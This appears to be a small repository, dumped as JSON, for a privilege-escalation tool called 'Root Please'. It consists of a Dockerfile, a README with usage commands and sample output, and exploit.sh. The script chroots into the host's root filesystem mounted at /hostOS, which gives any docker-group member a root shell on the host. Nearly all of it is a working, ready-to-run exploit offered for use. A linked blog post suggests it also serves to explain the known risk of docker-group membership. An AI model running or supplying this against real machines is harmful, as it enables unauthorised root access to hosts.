[
  {
    "path": "Dockerfile",
    "content": "FROM ubuntu:20.04\nCOPY exploit.sh /exploit.sh\nCMD [\"/bin/bash\", \"exploit.sh\"]\n"
  },
  {
    "path": "README.md",
    "content": "Root Please\n===========\n\nIf you're a member of the 'docker' group on a machine, this command gives you a\nroot shell on the host OS. [See my blog post for\ndetails](https://fosterelli.co/privilege-escalation-via-docker).\n\nHow to Use\n----------\n\nThrough Docker Hub:\n\n```bash\n> docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease\n```\n \nOr through Github:\n\n```bash\n> git clone https://github.com/chrisfosterelli/dockerrootplease rootplease\n> cd rootplease/\n> docker build -t rootplease .\n> docker run -v /:/hostOS -it --rm rootplease\n```\n\nAnd the result:\n\n```bash\njohndoe@testmachine:~$ docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease\n\nYou should now have a root shell on the host OS\nPress Ctrl-D to exit the docker instance / shell\n# whoami\nroot\n# \n```\n"
  },
  {
    "path": "exploit.sh",
    "content": "if [ ! -d \"/hostOS\" ]; then\n  echo\n  echo ==== ERROR ====\n  echo It looks like /hostOS does not exist\n  echo Please run this docker image with a /hostOS volume mounted to /\n  echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease\n  echo\n  exit\nfi\n\nif [ ! -f \"/hostOS/bin/sh\" ] && [ ! -L \"/hostOS/bin/sh\" ]; then\n  echo\n  echo ==== ERROR ====\n  echo It looks like /hostOS does not contain a root filesystem\n  echo Please run this docker image with a /hostOS volume mounted to /\n  echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease\n  echo\n  exit\nfi\n\necho\necho You should now have a root shell on the host OS\necho Press Ctrl-D to exit the docker instance / shell\nchroot /hostOS /bin/sh\n"
  }
]